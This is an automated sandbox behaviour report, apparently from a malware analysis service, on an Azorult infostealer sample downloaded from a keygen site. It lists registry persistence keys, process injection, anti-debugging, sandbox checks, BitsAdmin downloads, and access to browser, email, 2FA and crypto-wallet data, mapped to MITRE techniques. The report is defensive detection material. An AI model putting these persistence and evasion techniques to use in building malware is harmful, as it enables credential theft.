azorult | hxxps://keygenit[.]com/d/8550ceeb125094q2480[.]html

System Information Discovery

Processes:

15AB.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	15AB.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	15AB.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Jaeqefaejisho.exekeygen-step-4.exeDywazhibyfa.exeE0C9.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Jaeqefaejisho.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Dywazhibyfa.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	E0C9.exe

Loads dropped DLL 64 IoCs

Processes:

rundll32.exeregsvr32.exe2130.tmp.exeInstall.tmpkabo.exeIrecCH6.tmpi-record.exerundll32.exebuild.exemain.exey1.exeSunLabsPlayer.exetoolspab1.exeA7EF.exeDB5A.exebwfiwcdtffiwcdlighteningplayer.exe

pid	process
904	rundll32.exe
4276	regsvr32.exe
4544	2130.tmp.exe
4544	2130.tmp.exe
4544	2130.tmp.exe
4544	2130.tmp.exe
4544	2130.tmp.exe
576	Install.tmp
5020	kabo.exe
5672	IrecCH6.tmp
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
3184	i-record.exe
6412	rundll32.exe
6184	build.exe
6184	build.exe
5600	main.exe
4840	y1.exe
7120	SunLabsPlayer.exe
4840	y1.exe
4840	y1.exe
4840	y1.exe
4840	y1.exe
1008	toolspab1.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
7120	SunLabsPlayer.exe
5432	A7EF.exe
5432	A7EF.exe
5432	A7EF.exe
5432	A7EF.exe
5432	A7EF.exe
6364	DB5A.exe
6364	DB5A.exe
6364	DB5A.exe
6364	DB5A.exe
6364	DB5A.exe
6364	DB5A.exe
6380	bwfiwcd
6104	tffiwcd
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe
576	lighteningplayer.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

player_record_48792.exegcttt.exe3274620.exeUltra.exe9AF5.tmp.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Portable Devices\\Tipitazhuly.exe\""	player_record_48792.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	gcttt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe"	3274620.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Tejidulepae.exe\""	Ultra.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	9AF5.tmp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe"	9AF5.tmp.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery
T1063

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab	powershell.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

Processes:

jg6_6asg.exemd1_1eaf.exe15AB.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md1_1eaf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	15AB.exe

Drops Chrome extension 1 IoCs

Processes:

askinstall20.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\colgdlijdieibnaccfdcdbpdffofkfeb\6.37.18_0\manifest.json	askinstall20.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

769 ip-api.com
216 api.ipify.org
312 ip-api.com

flow	ioc
769	ip-api.com
216	api.ipify.org
312	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\MJ2F0Y6L.cookie	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\MJ2F0Y6L.cookie	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 796235DDA6337515	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent FEE599F4A47AB97A	svchost.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

regsvr32.exeregsvr32.exe

pid process

4276 regsvr32.exe
3656 regsvr32.exe

pid	process
4276	regsvr32.exe
3656	regsvr32.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

Processes:

main.exeparse.exeparse.exeAddInProcess32.exe15AB.exe

pid	process
5600	main.exe
5600	main.exe
5600	main.exe
5600	main.exe
5600	main.exe
5600	main.exe
3752	parse.exe
4012	parse.exe
4240	AddInProcess32.exe
4012	parse.exe
3752	parse.exe
4240	AddInProcess32.exe
6088	15AB.exe

Suspicious use of SetThreadContext 32 IoCs

Processes:

svchost.exe9AF5.tmp.exe9892.tmp.exekabo.exeinst.exeiWlalmtoolspab1.exeABCbrowser.exeB2CE.exe647349126.exe1371397063.exeF86A.exe201.exeFF51.exeE0C9.exe742.exebwfiwcdtffiwcd201.exemshta.exe1371397063.exeF86A.exeConhost.exeFF51.exeA492.exe647349126.exe647349126.exeE0C9.exe647349126.exeE0C9.exe

description	pid	process	target process
PID 3328 set thread context of 4516	3328	svchost.exe	svchost.exe
PID 3328 set thread context of 5100	3328	svchost.exe	svchost.exe
PID 5196 set thread context of 5460	5196	9AF5.tmp.exe	msiexec.exe
PID 5196 set thread context of 5636	5196	9AF5.tmp.exe	msiexec.exe
PID 4468 set thread context of 5948	4468	9892.tmp.exe	9892.tmp.exe
PID 2208 set thread context of 5020	2208	kabo.exe	kabo.exe
PID 4836 set thread context of 5164	4836	inst.exe	iWlalm
PID 5164 set thread context of 392	5164	iWlalm	VNrgBL
PID 6356 set thread context of 1008	6356	toolspab1.exe	toolspab1.exe
PID 5504 set thread context of 6480	5504	ABCbrowser.exe	AddInProcess32.exe
PID 4228 set thread context of 4240	4228	B2CE.exe	AddInProcess32.exe
PID 4120 set thread context of 4952	4120	647349126.exe	AddInProcess32.exe
PID 3080 set thread context of 5564	3080	1371397063.exe	AddInProcess32.exe
PID 5804 set thread context of 6736	5804	F86A.exe	AddInProcess32.exe
PID 5300 set thread context of 3656	5300	201.exe	AddInProcess32.exe
PID 4468 set thread context of 660	4468	FF51.exe	AddInProcess32.exe
PID 1484 set thread context of 5876	1484	E0C9.exe	E0C9.exe
PID 5924 set thread context of 6480	5924	742.exe	742.exe
PID 3984 set thread context of 6380	3984	bwfiwcd	bwfiwcd
PID 4640 set thread context of 6104	4640	tffiwcd	tffiwcd
PID 5496 set thread context of 5264	5496	201.exe	AddInProcess32.exe
PID 4516 set thread context of 5604	4516	mshta.exe	AddInProcess32.exe
PID 4652 set thread context of 3960	4652	1371397063.exe	AddInProcess32.exe
PID 5728 set thread context of 4824	5728	F86A.exe	AddInProcess32.exe
PID 1908 set thread context of 5172	1908	Conhost.exe	AddInProcess32.exe
PID 5240 set thread context of 6604	5240	FF51.exe	WerFault.exe
PID 6064 set thread context of 6536	6064	A492.exe	E0C9.exe
PID 4552 set thread context of 1556	4552	647349126.exe	AddInProcess32.exe
PID 5896 set thread context of 4544	5896	647349126.exe	AddInProcess32.exe
PID 2344 set thread context of 5860	2344	E0C9.exe	E0C9.exe
PID 3932 set thread context of 2400	3932	647349126.exe	AddInProcess32.exe
PID 1980 set thread context of 5748	1980	E0C9.exe	E0C9.exe

Drops file in Program Files directory 64 IoCs

Processes:

SunLabsPlayer.exeultramediaburner.tmpirecord.tmpUltra.exeplayer_record_48792.exegoogle-game.exe

description	ioc	process
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libhttps_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libty_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_asf_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\cue.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\meta\reader\filename.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libshm_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libtimecode_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\libvlc.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\mobile.css	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\koreus.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_view.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\soundcloud.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libes_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libvc1_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\error_window.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\data_load.exe	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\libvlccore.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_dts_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-TRHUA.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\recording\avutil-51.dll	irecord.tmp
File created	C:\Program Files (x86)\recording\is-B3C5S.tmp	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\cli.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\http.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libdvdnav_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libsftp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files\Windows Security\LSUXGVCTMU\ultramediaburner.exe.config	Ultra.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer.exe	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\luac.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac	SunLabsPlayer.exe
File created	C:\Program Files\Windows Media Player\QJTSBSPREI\irecord.exe.config	player_record_48792.exe
File created	C:\Program Files (x86)\lighteningplayer\libssp-0.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\recording\is-PFLOL.tmp	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_mms_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libnoseek_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libnuv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\recording\is-IMJ4D.tmp	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\hrtfs\dodeca_and_7channel_3DSL_HRTF.sofa	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\modules\sandbox.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libvcd_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files\install.dll	google-game.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\dumpmeta.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\librtp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\text_renderer\libfreetype_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\view.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\recording\is-CGNI6.tmp	irecord.tmp
File created	C:\Program Files (x86)\recording\is-8UR5M.tmp	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libhttp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libntservice_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\meta_engine\libfolder_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libvod_rtsp_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_h264_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files (x86)\recording\avformat-53.dll	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libsdp_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files (x86)\recording\unins000.dat	irecord.tmp
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\libmarq_plugin.dll	SunLabsPlayer.exe

Drops file in Windows directory 1 IoCs

Processes:

MicrosoftEdge.exe

description ioc process

File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6720	4160	WerFault.exe	MicrosoftEdgeCP.exe
5292	5568	WerFault.exe	MicrosoftEdgeCP.exe
6604	6976	WerFault.exe	MicrosoftEdgeCP.exe
7880	6960	WerFault.exe	MicrosoftEdgeCP.exe
2952	7120	WerFault.exe	SunLabsPlayer.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

kabo.exetoolspab1.exebwfiwcdtffiwcd

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	kabo.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	kabo.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bwfiwcd
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tffiwcd
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tffiwcd
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	kabo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bwfiwcd
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	bwfiwcd
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tffiwcd
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab1.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build.exesvchost.exesvchost.exe9892.tmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	9892.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	9892.tmp.exe

Delays execution with timeout.exe 6 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid process

4332 timeout.exe
2636 timeout.exe
5068 timeout.exe
860 timeout.exe
9796 timeout.exe
8064 timeout.exe
Download via BitsAdmin 1 TTPs 2 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exebitsadmin.exe

pid process

5596 bitsadmin.exe
9532 bitsadmin.exe

pid	process
4332	timeout.exe
2636	timeout.exe
5068	timeout.exe
860	timeout.exe
9796	timeout.exe
8064	timeout.exe

pid	process
5596	bitsadmin.exe
9532	bitsadmin.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exexcopy.exechrome.exexcopy.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 13 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
5200	taskkill.exe
4992	taskkill.exe
7836	taskkill.exe
6528	taskkill.exe
5476	taskkill.exe
1852	taskkill.exe
1208	taskkill.exe
6652	taskkill.exe
3024	taskkill.exe
4104	taskkill.exe
5996	taskkill.exe
5332	taskkill.exe
4236	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Toolbar
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Modifies data under HKEY_USERS 64 IoCs

Processes:

app.exesvchost.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	app.exe
